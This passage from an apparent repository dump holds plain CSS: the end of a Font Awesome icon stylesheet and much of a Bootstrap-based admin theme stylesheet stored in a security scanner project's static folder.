{\n  content: \"\\f275\";\n}\n.fa-map-pin:before {\n  content: \"\\f276\";\n}\n.fa-map-signs:before {\n  content: \"\\f277\";\n}\n.fa-map-o:before {\n  content: \"\\f278\";\n}\n.fa-map:before {\n  content: \"\\f279\";\n}\n.fa-commenting:before {\n  content: \"\\f27a\";\n}\n.fa-commenting-o:before {\n  content: \"\\f27b\";\n}\n.fa-houzz:before {\n  content: \"\\f27c\";\n}\n.fa-vimeo:before {\n  content: \"\\f27d\";\n}\n.fa-black-tie:before {\n  content: \"\\f27e\";\n}\n.fa-fonticons:before {\n  content: \"\\f280\";\n}\n.fa-reddit-alien:before {\n  content: \"\\f281\";\n}\n.fa-edge:before {\n  content: \"\\f282\";\n}\n.fa-credit-card-alt:before {\n  content: \"\\f283\";\n}\n.fa-codiepie:before {\n  content: \"\\f284\";\n}\n.fa-modx:before {\n  content: \"\\f285\";\n}\n.fa-fort-awesome:before {\n  content: \"\\f286\";\n}\n.fa-usb:before {\n  content: \"\\f287\";\n}\n.fa-product-hunt:before {\n  content: \"\\f288\";\n}\n.fa-mixcloud:before {\n  content: \"\\f289\";\n}\n.fa-scribd:before {\n  content: \"\\f28a\";\n}\n.fa-pause-circle:before {\n  content: \"\\f28b\";\n}\n.fa-pause-circle-o:before {\n  content: \"\\f28c\";\n}\n.fa-stop-circle:before {\n  content: \"\\f28d\";\n}\n.fa-stop-circle-o:before {\n  content: \"\\f28e\";\n}\n.fa-shopping-bag:before {\n  content: \"\\f290\";\n}\n.fa-shopping-basket:before {\n  content: \"\\f291\";\n}\n.fa-hashtag:before {\n  content: \"\\f292\";\n}\n.fa-bluetooth:before {\n  content: \"\\f293\";\n}\n.fa-bluetooth-b:before {\n  content: \"\\f294\";\n}\n.fa-percent:before {\n  content: \"\\f295\";\n}\n.fa-gitlab:before {\n  content: \"\\f296\";\n}\n.fa-wpbeginner:before {\n  content: \"\\f297\";\n}\n.fa-wpforms:before {\n  content: \"\\f298\";\n}\n.fa-envira:before {\n  content: \"\\f299\";\n}\n.fa-universal-access:before {\n  content: \"\\f29a\";\n}\n.fa-wheelchair-alt:before {\n  content: \"\\f29b\";\n}\n.fa-question-circle-o:before {\n  content: \"\\f29c\";\n}\n.fa-blind:before {\n  content: \"\\f29d\";\n}\n.fa-audio-description:before {\n  content: \"\\f29e\";\n}\n.fa-volume-control-phone:before {\n  content: \"\\f2a0\";\n}\n.fa-braille:before {\n  content: \"\\f2a1\";\n}\n.fa-assistive-listening-systems:before {\n  content: \"\\f2a2\";\n}\n.fa-asl-interpreting:before,\n.fa-american-sign-language-interpreting:before {\n  content: \"\\f2a3\";\n}\n.fa-deafness:before,\n.fa-hard-of-hearing:before,\n.fa-deaf:before {\n  content: \"\\f2a4\";\n}\n.fa-glide:before {\n  content: \"\\f2a5\";\n}\n.fa-glide-g:before {\n  content: \"\\f2a6\";\n}\n.fa-signing:before,\n.fa-sign-language:before {\n  content: \"\\f2a7\";\n}\n.fa-low-vision:before {\n  content: \"\\f2a8\";\n}\n.fa-viadeo:before {\n  content: \"\\f2a9\";\n}\n.fa-viadeo-square:before {\n  content: \"\\f2aa\";\n}\n.fa-snapchat:before {\n  content: \"\\f2ab\";\n}\n.fa-snapchat-ghost:before {\n  content: \"\\f2ac\";\n}\n.fa-snapchat-square:before {\n  content: \"\\f2ad\";\n}\n.fa-pied-piper:before {\n  content: \"\\f2ae\";\n}\n.fa-first-order:before {\n  content: \"\\f2b0\";\n}\n.fa-yoast:before {\n  content: \"\\f2b1\";\n}\n.fa-themeisle:before {\n  content: \"\\f2b2\";\n}\n.fa-google-plus-circle:before,\n.fa-google-plus-official:before {\n  content: \"\\f2b3\";\n}\n.fa-fa:before,\n.fa-font-awesome:before {\n  content: \"\\f2b4\";\n}\n.fa-handshake-o:before {\n  content: \"\\f2b5\";\n}\n.fa-envelope-open:before {\n  content: \"\\f2b6\";\n}\n.fa-envelope-open-o:before {\n  content: \"\\f2b7\";\n}\n.fa-linode:before {\n  content: \"\\f2b8\";\n}\n.fa-address-book:before {\n  content: \"\\f2b9\";\n}\n.fa-address-book-o:before {\n  content: \"\\f2ba\";\n}\n.fa-vcard:before,\n.fa-address-card:before {\n  content: \"\\f2bb\";\n}\n.fa-vcard-o:before,\n.fa-address-card-o:before {\n  content: \"\\f2bc\";\n}\n.fa-user-circle:before {\n  content: \"\\f2bd\";\n}\n.fa-user-circle-o:before {\n  content: \"\\f2be\";\n}\n.fa-user-o:before {\n  content: \"\\f2c0\";\n}\n.fa-id-badge:before {\n  content: \"\\f2c1\";\n}\n.fa-drivers-license:before,\n.fa-id-card:before {\n  content: \"\\f2c2\";\n}\n.fa-drivers-license-o:before,\n.fa-id-card-o:before {\n  content: \"\\f2c3\";\n}\n.fa-quora:before {\n  content: \"\\f2c4\";\n}\n.fa-free-code-camp:before {\n  content: \"\\f2c5\";\n}\n.fa-telegram:before {\n  content: \"\\f2c6\";\n}\n.fa-thermometer-4:before,\n.fa-thermometer:before,\n.fa-thermometer-full:before {\n  content: \"\\f2c7\";\n}\n.fa-thermometer-3:before,\n.fa-thermometer-three-quarters:before {\n  content: \"\\f2c8\";\n}\n.fa-thermometer-2:before,\n.fa-thermometer-half:before {\n  content: \"\\f2c9\";\n}\n.fa-thermometer-1:before,\n.fa-thermometer-quarter:before {\n  content: \"\\f2ca\";\n}\n.fa-thermometer-0:before,\n.fa-thermometer-empty:before {\n  content: \"\\f2cb\";\n}\n.fa-shower:before {\n  content: \"\\f2cc\";\n}\n.fa-bathtub:before,\n.fa-s15:before,\n.fa-bath:before {\n  content: \"\\f2cd\";\n}\n.fa-podcast:before {\n  content: \"\\f2ce\";\n}\n.fa-window-maximize:before {\n  content: \"\\f2d0\";\n}\n.fa-window-minimize:before {\n  content: \"\\f2d1\";\n}\n.fa-window-restore:before {\n  content: \"\\f2d2\";\n}\n.fa-times-rectangle:before,\n.fa-window-close:before {\n  content: \"\\f2d3\";\n}\n.fa-times-rectangle-o:before,\n.fa-window-close-o:before {\n  content: \"\\f2d4\";\n}\n.fa-bandcamp:before {\n  content: \"\\f2d5\";\n}\n.fa-grav:before {\n  content: \"\\f2d6\";\n}\n.fa-etsy:before {\n  content: \"\\f2d7\";\n}\n.fa-imdb:before {\n  content: \"\\f2d8\";\n}\n.fa-ravelry:before {\n  content: \"\\f2d9\";\n}\n.fa-eercast:before {\n  content: \"\\f2da\";\n}\n.fa-microchip:before {\n  content: \"\\f2db\";\n}\n.fa-snowflake-o:before {\n  content: \"\\f2dc\";\n}\n.fa-superpowers:before {\n  content: \"\\f2dd\";\n}\n.fa-wpexplorer:before {\n  content: \"\\f2de\";\n}\n.fa-meetup:before {\n  content: \"\\f2e0\";\n}\n.sr-only {\n  position: absolute;\n  width: 1px;\n  height: 1px;\n  padding: 0;\n  margin: -1px;\n  overflow: hidden;\n  clip: rect(0, 0, 0, 0);\n  border: 0;\n}\n.sr-only-focusable:active,\n.sr-only-focusable:focus {\n  position: static;\n  width: auto;\n  height: auto;\n  margin: 0;\n  overflow: visible;\n  clip: auto;\n}\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/css/main.css",
    "content": "@charset \"UTF-8\";\n/*!\n * Vali Admin\n * Author: Pratik Borsadiya\n * ================================*/\n@import url(https://fonts.googleapis.com/css?family=Lato:300,400,400i,700);\n@import url(https://fonts.googleapis.com/css?family=Niconne);\n/*!\n * Bootstrap v4.0.0 (https://getbootstrap.com)\n * Copyright 2011-2018 The Bootstrap Authors\n * Copyright 2011-2018 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n:root {\n  --blue: #007bff;\n  --indigo: #6610f2;\n  --purple: #6f42c1;\n  --pink: #e83e8c;\n  --red: #dc3545;\n  --orange: #fd7e14;\n  --yellow: #ffc107;\n  --green: #28a745;\n  --teal: #20c997;\n  --cyan: #17a2b8;\n  --white: #FFF;\n  --gray: #6c757d;\n  --gray-dark: #343a40;\n  --primary: #009688;\n  --secondary: #6c757d;\n  --success: #28a745;\n  --info: #17a2b8;\n  --warning: #ffc107;\n  --danger: #dc3545;\n  --light: #f8f9fa;\n  --dark: #343a40;\n  --breakpoint-xs: 0;\n  --breakpoint-sm: 576px;\n  --breakpoint-md: 768px;\n  --breakpoint-lg: 992px;\n  --breakpoint-xl: 1200px;\n  --font-family-sans-serif: \"Lato\", -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif;\n  --font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\n*,\n*::before,\n*::after {\n  -webkit-box-sizing: border-box;\n          box-sizing: border-box;\n}\n\nhtml {\n  font-family: sans-serif;\n  line-height: 1.15;\n  -webkit-text-size-adjust: 100%;\n  -ms-text-size-adjust: 100%;\n  -ms-overflow-style: scrollbar;\n  -webkit-tap-highlight-color: transparent;\n}\n\n@-ms-viewport {\n  width: device-width;\n}\n\narticle, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {\n  display: block;\n}\n\nbody {\n  margin: 0;\n  font-family: \"Lato\", -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif;\n  font-size: 0.875rem;\n  font-weight: 400;\n  line-height: 1.5;\n  color: #212529;\n  text-align: left;\n  background-color: #FFF;\n}\n\n[tabindex=\"-1\"]:focus {\n  outline: 0 !important;\n}\n\nhr {\n  -webkit-box-sizing: content-box;\n          box-sizing: content-box;\n  height: 0;\n  overflow: visible;\n}\n\nh1, h2, h3, h4, h5, h6 {\n  margin-top: 0;\n  margin-bottom: 0.5rem;\n}\n\np {\n  margin-top: 0;\n  margin-bottom: 1rem;\n}\n\nabbr[title],\nabbr[data-original-title] {\n  text-decoration: underline;\n  -webkit-text-decoration: underline dotted;\n          text-decoration: underline dotted;\n  cursor: help;\n  border-bottom: 0;\n}\n\naddress {\n  margin-bottom: 1rem;\n  font-style: normal;\n  line-height: inherit;\n}\n\nol,\nul,\ndl {\n  margin-top: 0;\n  margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n  margin-bottom: 0;\n}\n\ndt {\n  font-weight: 700;\n}\n\ndd {\n  margin-bottom: .5rem;\n  margin-left: 0;\n}\n\nblockquote {\n  margin: 0 0 1rem;\n}\n\ndfn {\n  font-style: italic;\n}\n\nb,\nstrong {\n  font-weight: bolder;\n}\n\nsmall {\n  font-size: 80%;\n}\n\nsub,\nsup {\n  position: relative;\n  font-size: 75%;\n  line-height: 0;\n  vertical-align: baseline;\n}\n\nsub {\n  bottom: -.25em;\n}\n\nsup {\n  top: -.5em;\n}\n\na {\n  color: #009688;\n  text-decoration: none;\n  background-color: transparent;\n  -webkit-text-decoration-skip: objects;\n}\n\na:hover {\n  color: #004a43;\n  text-decoration: underline;\n}\n\na:not([href]):not([tabindex]) {\n  color: inherit;\n  text-decoration: none;\n}\n\na:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus {\n  color: inherit;\n  text-decoration: none;\n}\n\na:not([href]):not([tabindex]):focus {\n  outline: 0;\n}\n\npre,\ncode,\nkbd,\nsamp {\n  font-family: monospace, monospace;\n  font-size: 1em;\n}\n\npre {\n  margin-top: 0;\n  margin-bottom: 1rem;\n  overflow: auto;\n  -ms-overflow-style: scrollbar;\n}\n\nfigure {\n  margin: 0 0 1rem;\n}\n\nimg {\n  vertical-align: middle;\n  border-style: none;\n}\n\nsvg:not(:root) {\n  overflow: hidden;\n}\n\ntable {\n  border-collapse: collapse;\n}\n\ncaption {\n  padding-top: 0.75rem;\n  padding-bottom: 0.75rem;\n  color: #6c757d;\n  text-align: left;\n  caption-side: bottom;\n}\n\nth {\n  text-align: inherit;\n}\n\nlabel {\n  display: inline-block;\n  margin-bottom: .5rem;\n}\n\nbutton {\n  border-radius: 0;\n}\n\nbutton:focus {\n  outline: 1px dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n  margin: 0;\n  font-family: inherit;\n  font-size: inherit;\n  line-height: inherit;\n}\n\nbutton,\ninput {\n  overflow: visible;\n}\n\nbutton,\nselect {\n  text-transform: none;\n}\n\nbutton,\nhtml [type=\"button\"],\n[type=\"reset\"],\n[type=\"submit\"] {\n  -webkit-appearance: button;\n}\n\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n  padding: 0;\n  border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  -webkit-box-sizing: border-box;\n          box-sizing: border-box;\n  padding: 0;\n}\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n  -webkit-appearance: listbox;\n}\n\ntextarea {\n  overflow: auto;\n  resize: vertical;\n}\n\nfieldset {\n  min-width: 0;\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\n\nlegend {\n  display: block;\n  width: 100%;\n  max-width: 100%;\n  padding: 0;\n  margin-bottom: .5rem;\n  font-size: 1.5rem;\n  line-height: inherit;\n  color: inherit;\n  white-space: normal;\n}\n\nprogress {\n  vertical-align: baseline;\n}\n\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\n\n[type=\"search\"] {\n  outline-offset: -2px;\n  -webkit-appearance: none;\n}\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\n\n::-webkit-file-upload-button {\n  font: inherit;\n  -webkit-appearance: button;\n}\n\noutput {\n  display: inline-block;\n}\n\nsummary {\n  display: list-item;\n  cursor: pointer;\n}\n\ntemplate {\n  display: none;\n}\n\n[hidden] {\n  display: none !important;\n}\n\nh1, h2, h3, h4, h5, h6,\n.h1, .h2, .h3, .h4, .h5, .h6 {\n  margin-bottom: 0.5rem;\n  font-family: inherit;\n  font-weight: bold;\n  line-height: 1.2;\n  color: inherit;\n}\n\nh1, .h1 {\n  font-size: 2.1875rem;\n}\n\nh2, .h2 {\n  font-size: 1.75rem;\n}\n\nh3, .h3 {\n  font-size: 1.53125rem;\n}\n\nh4, .h4 {\n  font-size: 1.3125rem;\n}\n\nh5, .h5 {\n  font-size: 1.09375rem;\n}\n\nh6, .h6 {\n  font-size: 0.875rem;\n}\n\n.lead {\n  font-size: 1.09375rem;\n  font-weight: 300;\n}\n\n.display-1 {\n  font-size: 6rem;\n  font-weight: 300;\n  line-height: 1.2;\n}\n\n.display-2 {\n  font-size: 5.5rem;\n  font-weight: 300;\n  line-height: 1.2;\n}\n\n.display-3 {\n  font-size: 4.5rem;\n  font-weight: 300;\n  line-height: 1.2;\n}\n\n.display-4 {\n  font-size: 3.5rem;\n  font-weight: 300;\n  line-height: 1.2;\n}\n\nhr {\n  margin-top: 1rem;\n  margin-bottom: 1rem;\n  border: 0;\n  border-top: 1px solid rgba(0, 0, 0, 0.1);\n}\n\nsmall,\n.small {\n  font-size: 80%;\n  font-weight: 400;\n}\n\nmark,\n.mark {\n  padding: 0.2em;\n  background-color: #fcf8e3;\n}\n\n.list-unstyled, .app-nav, .app-menu, .treeview-menu {\n  padding-left: 0;\n  list-style: none;\n}\n\n.list-inline {\n  padding-left: 0;\n  list-style: none;\n}\n\n.list-inline-item {\n  display: inline-block;\n}\n\n.list-inline-item:not(:last-child) {\n  margin-right: 0.5rem;\n}\n\n.initialism {\n  font-size: 90%;\n  text-transform: uppercase;\n}\n\n.blockquote {\n  margin-bottom: 1rem;\n  font-size: 1.09375rem;\n}\n\n.blockquote-footer {\n  display: block;\n  font-size: 80%;\n  color: #6c757d;\n}\n\n.blockquote-footer::before {\n  content: \"\\2014 \\00A0\";\n}\n\n.img-fluid {\n  max-width: 100%;\n  height: auto;\n}\n\n.img-thumbnail {\n  padding: 0.25rem;\n  background-color: #FFF;\n  border: 1px solid #dee2e6;\n  border-radius: 0.25rem;\n  max-width: 100%;\n  height: auto;\n}\n\n.figure {\n  display: inline-block;\n}\n\n.figure-img {\n  margin-bottom: 0.5rem;\n  line-height: 1;\n}\n\n.figure-caption {\n  font-size: 90%;\n  color: #6c757d;\n}\n\ncode,\nkbd,\npre,\nsamp {\n  font-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\ncode {\n  font-size: 87.5%;\n  color: #e83e8c;\n  word-break: break-word;\n}\n\na > code {\n  color: inherit;\n}\n\nkbd {\n  padding: 0.2rem 0.4rem;\n  font-size: 87.5%;\n  color: #FFF;\n  background-color: #212529;\n  border-radius: 0.2rem;\n}\n\nkbd kbd {\n  padding: 0;\n  font-size: 100%;\n  font-weight: 700;\n}\n\npre {\n  display: block;\n  font-size: 87.5%;\n  color: #212529;\n}\n\npre code {\n  font-size: inherit;\n  color: inherit;\n  word-break: normal;\n}\n\n.pre-scrollable {\n  max-height: 340px;\n  overflow-y: scroll;\n}\n\n.container {\n  width: 100%;\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-right: auto;\n  margin-left: auto;\n}\n\n@media (min-width: 576px) {\n  .container {\n    max-width: 540px;\n  }\n}\n\n@media (min-width: 768px) {\n  .container {\n    max-width: 720px;\n  }\n}\n\n@media (min-width: 992px) {\n  .container {\n    max-width: 960px;\n  }\n}\n\n@media (min-width: 1200px) {\n  .container {\n    max-width: 1140px;\n  }\n}\n\n.container-fluid {\n  width: 100%;\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-right: auto;\n  margin-left: auto;\n}\n\n.row {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n      flex-wrap: wrap;\n  margin-right: -15px;\n  margin-left: -15px;\n}\n\n.no-gutters {\n  margin-right: 0;\n  margin-left: 0;\n}\n\n.no-gutters > .col,\n.no-gutters > [class*=\"col-\"] {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.col-1, .col-2, .col-3, .col-4, .col-5, .col-6, .col-7, .col-8, .col-9, .col-10, .col-11, .col-12, .col,\n.col-auto, .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm,\n.col-sm-auto, .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12, .col-md,\n.col-md-auto, .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg,\n.col-lg-auto, .col-xl-1, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl,\n.col-xl-auto {\n  position: relative;\n  width: 100%;\n  min-height: 1px;\n  padding-right: 15px;\n  padding-left: 15px;\n}\n\n.col {\n  -ms-flex-preferred-size: 0;\n      flex-basis: 0;\n  -webkit-box-flex: 1;\n      -ms-flex-positive: 1;\n          flex-grow: 1;\n  max-width: 100%;\n}\n\n.col-auto {\n  -webkit-box-flex: 0;\n      -ms-flex: 0 0 auto;\n          flex: 0 0 auto;\n  width: auto;\n  max-width: none;\n}\n\n.col-1 {\n  -webkit-box-flex: 0;\n      -ms-flex: 0 0 8.3333333333%;\n          flex: 0 0 8.3333333333%;\n  max-width: 8.3333333333%;\n}\n\n.col-2 {\n  -webkit-box-flex: 0;\n      -ms-flex: 0 0 16.6666666667%;\n          flex: 0 0 16.6666666667%;\n  max-width: 16.6666666667%;\n}\n\n.col-3 {\n  -webkit-box-flex: 0;\n      -ms-flex: 0 0 25%;\n          flex: 0 0 25%;\n  max-width: 25%;\n}\n\n.col-4 {\n  -webkit-box-flex: 0;\n      -ms-flex: 0 0 33.3333333333%;\n          flex: 0 0 33.3333333333%;\n  max-width: 33.3333333333%;\n}\n\n.col-5 {\n  -webkit-box-flex: 0;\n      -ms-flex: 0 0 41.6666666667%;\n          flex: 0 0 41.6666666667%;\n  max-width: 41.6666666667%;\n}\n\n.col-6 {\n  -webkit-box-flex: 0;\n      -ms-flex: 0 0 50%;\n          flex: 0 0 50%;\n  max-width: 50%;\n}\n\n.col-7 {\n  -webkit-box-flex: 0;\n      -ms-flex: 0 0 58.3333333333%;\n          flex: 0 0 58.3333333333%;\n  max-width: 58.3333333333%;\n}\n\n.col-8 {\n  -webkit-box-flex: 0;\n      -ms-flex: 0 0 66.6666666667%;\n          flex: 0 0 66.6666666667%;\n  max-width: 66.6666666667%;\n}\n\n.col-9 {\n  -webkit-box-flex: 0;\n      -ms-flex: 0 0 75%;\n          flex: 0 0 75%;\n  max-width: 75%;\n}\n\n.col-10 {\n  -webkit-box-flex: 0;\n      -ms-flex: 0 0 83.3333333333%;\n          flex: 0 0 83.3333333333%;\n  max-width: 83.3333333333%;\n}\n\n.col-11 {\n  -webkit-box-flex: 0;\n      -ms-flex: 0 0 91.6666666667%;\n          flex: 0 0 91.6666666667%;\n  max-width: 91.6666666667%;\n}\n\n.col-12 {\n  -webkit-box-flex: 0;\n      -ms-flex: 0 0 100%;\n          flex: 0 0 100%;\n  max-width: 100%;\n}\n\n.order-first {\n  -webkit-box-ordinal-group: 0;\n      -ms-flex-order: -1;\n          order: -1;\n}\n\n.order-last {\n  -webkit-box-ordinal-group: 14;\n      -ms-flex-order: 13;\n          order: 13;\n}\n\n.order-0 {\n  -webkit-box-ordinal-group: 1;\n      -ms-flex-order: 0;\n          order: 0;\n}\n\n.order-1 {\n  -webkit-box-ordinal-group: 2;\n      -ms-flex-order: 1;\n          order: 1;\n}\n\n.order-2 {\n  -webkit-box-ordinal-group: 3;\n      -ms-flex-order: 2;\n          order: 2;\n}\n\n.order-3 {\n  -webkit-box-ordinal-group: 4;\n      -ms-flex-order: 3;\n          order: 3;\n}\n\n.order-4 {\n  -webkit-box-ordinal-group: 5;\n      -ms-flex-order: 4;\n          order: 4;\n}\n\n.order-5 {\n  -webkit-box-ordinal-group: 6;\n      -ms-flex-order: 5;\n          order: 5;\n}\n\n.order-6 {\n  -webkit-box-ordinal-group: 7;\n      -ms-flex-order: 6;\n          order: 6;\n}\n\n.order-7 {\n  -webkit-box-ordinal-group: 8;\n      -ms-flex-order: 7;\n          order: 7;\n}\n\n.order-8 {\n  -webkit-box-ordinal-group: 9;\n      -ms-flex-order: 8;\n          order: 8;\n}\n\n.order-9 {\n  -webkit-box-ordinal-group: 10;\n      -ms-flex-order: 9;\n          order: 9;\n}\n\n.order-10 {\n  -webkit-box-ordinal-group: 11;\n      -ms-flex-order: 10;\n          order: 10;\n}\n\n.order-11 {\n  -webkit-box-ordinal-group: 12;\n      -ms-flex-order: 11;\n          order: 11;\n}\n\n.order-12 {\n  -webkit-box-ordinal-group: 13;\n      -ms-flex-order: 12;\n          order: 12;\n}\n\n.offset-1 {\n  margin-left: 8.3333333333%;\n}\n\n.offset-2 {\n  margin-left: 16.6666666667%;\n}\n\n.offset-3 {\n  margin-left: 25%;\n}\n\n.offset-4 {\n  margin-left: 33.3333333333%;\n}\n\n.offset-5 {\n  margin-left: 41.6666666667%;\n}\n\n.offset-6 {\n  margin-left: 50%;\n}\n\n.offset-7 {\n  margin-left: 58.3333333333%;\n}\n\n.offset-8 {\n  margin-left: 66.6666666667%;\n}\n\n.offset-9 {\n  margin-left: 75%;\n}\n\n.offset-10 {\n  margin-left: 83.3333333333%;\n}\n\n.offset-11 {\n  margin-left: 91.6666666667%;\n}\n\n@media (min-width: 576px) {\n  .col-sm {\n    -ms-flex-preferred-size: 0;\n        flex-basis: 0;\n    -webkit-box-flex: 1;\n        -ms-flex-positive: 1;\n            flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-sm-auto {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 auto;\n            flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-sm-1 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 8.3333333333%;\n            flex: 0 0 8.3333333333%;\n    max-width: 8.3333333333%;\n  }\n  .col-sm-2 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 16.6666666667%;\n            flex: 0 0 16.6666666667%;\n    max-width: 16.6666666667%;\n  }\n  .col-sm-3 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 25%;\n            flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-sm-4 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 33.3333333333%;\n            flex: 0 0 33.3333333333%;\n    max-width: 33.3333333333%;\n  }\n  .col-sm-5 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 41.6666666667%;\n            flex: 0 0 41.6666666667%;\n    max-width: 41.6666666667%;\n  }\n  .col-sm-6 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 50%;\n            flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-sm-7 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 58.3333333333%;\n            flex: 0 0 58.3333333333%;\n    max-width: 58.3333333333%;\n  }\n  .col-sm-8 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 66.6666666667%;\n            flex: 0 0 66.6666666667%;\n    max-width: 66.6666666667%;\n  }\n  .col-sm-9 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 75%;\n            flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-sm-10 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 83.3333333333%;\n            flex: 0 0 83.3333333333%;\n    max-width: 83.3333333333%;\n  }\n  .col-sm-11 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 91.6666666667%;\n            flex: 0 0 91.6666666667%;\n    max-width: 91.6666666667%;\n  }\n  .col-sm-12 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 100%;\n            flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-sm-first {\n    -webkit-box-ordinal-group: 0;\n        -ms-flex-order: -1;\n            order: -1;\n  }\n  .order-sm-last {\n    -webkit-box-ordinal-group: 14;\n        -ms-flex-order: 13;\n            order: 13;\n  }\n  .order-sm-0 {\n    -webkit-box-ordinal-group: 1;\n        -ms-flex-order: 0;\n            order: 0;\n  }\n  .order-sm-1 {\n    -webkit-box-ordinal-group: 2;\n        -ms-flex-order: 1;\n            order: 1;\n  }\n  .order-sm-2 {\n    -webkit-box-ordinal-group: 3;\n        -ms-flex-order: 2;\n            order: 2;\n  }\n  .order-sm-3 {\n    -webkit-box-ordinal-group: 4;\n        -ms-flex-order: 3;\n            order: 3;\n  }\n  .order-sm-4 {\n    -webkit-box-ordinal-group: 5;\n        -ms-flex-order: 4;\n            order: 4;\n  }\n  .order-sm-5 {\n    -webkit-box-ordinal-group: 6;\n        -ms-flex-order: 5;\n            order: 5;\n  }\n  .order-sm-6 {\n    -webkit-box-ordinal-group: 7;\n        -ms-flex-order: 6;\n            order: 6;\n  }\n  .order-sm-7 {\n    -webkit-box-ordinal-group: 8;\n        -ms-flex-order: 7;\n            order: 7;\n  }\n  .order-sm-8 {\n    -webkit-box-ordinal-group: 9;\n        -ms-flex-order: 8;\n            order: 8;\n  }\n  .order-sm-9 {\n    -webkit-box-ordinal-group: 10;\n        -ms-flex-order: 9;\n            order: 9;\n  }\n  .order-sm-10 {\n    -webkit-box-ordinal-group: 11;\n        -ms-flex-order: 10;\n            order: 10;\n  }\n  .order-sm-11 {\n    -webkit-box-ordinal-group: 12;\n        -ms-flex-order: 11;\n            order: 11;\n  }\n  .order-sm-12 {\n    -webkit-box-ordinal-group: 13;\n        -ms-flex-order: 12;\n            order: 12;\n  }\n  .offset-sm-0 {\n    margin-left: 0;\n  }\n  .offset-sm-1 {\n    margin-left: 8.3333333333%;\n  }\n  .offset-sm-2 {\n    margin-left: 16.6666666667%;\n  }\n  .offset-sm-3 {\n    margin-left: 25%;\n  }\n  .offset-sm-4 {\n    margin-left: 33.3333333333%;\n  }\n  .offset-sm-5 {\n    margin-left: 41.6666666667%;\n  }\n  .offset-sm-6 {\n    margin-left: 50%;\n  }\n  .offset-sm-7 {\n    margin-left: 58.3333333333%;\n  }\n  .offset-sm-8 {\n    margin-left: 66.6666666667%;\n  }\n  .offset-sm-9 {\n    margin-left: 75%;\n  }\n  .offset-sm-10 {\n    margin-left: 83.3333333333%;\n  }\n  .offset-sm-11 {\n    margin-left: 91.6666666667%;\n  }\n}\n\n@media (min-width: 768px) {\n  .col-md {\n    -ms-flex-preferred-size: 0;\n        flex-basis: 0;\n    -webkit-box-flex: 1;\n        -ms-flex-positive: 1;\n            flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-md-auto {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 auto;\n            flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-md-1 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 8.3333333333%;\n            flex: 0 0 8.3333333333%;\n    max-width: 8.3333333333%;\n  }\n  .col-md-2 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 16.6666666667%;\n            flex: 0 0 16.6666666667%;\n    max-width: 16.6666666667%;\n  }\n  .col-md-3 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 25%;\n            flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-md-4 {\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 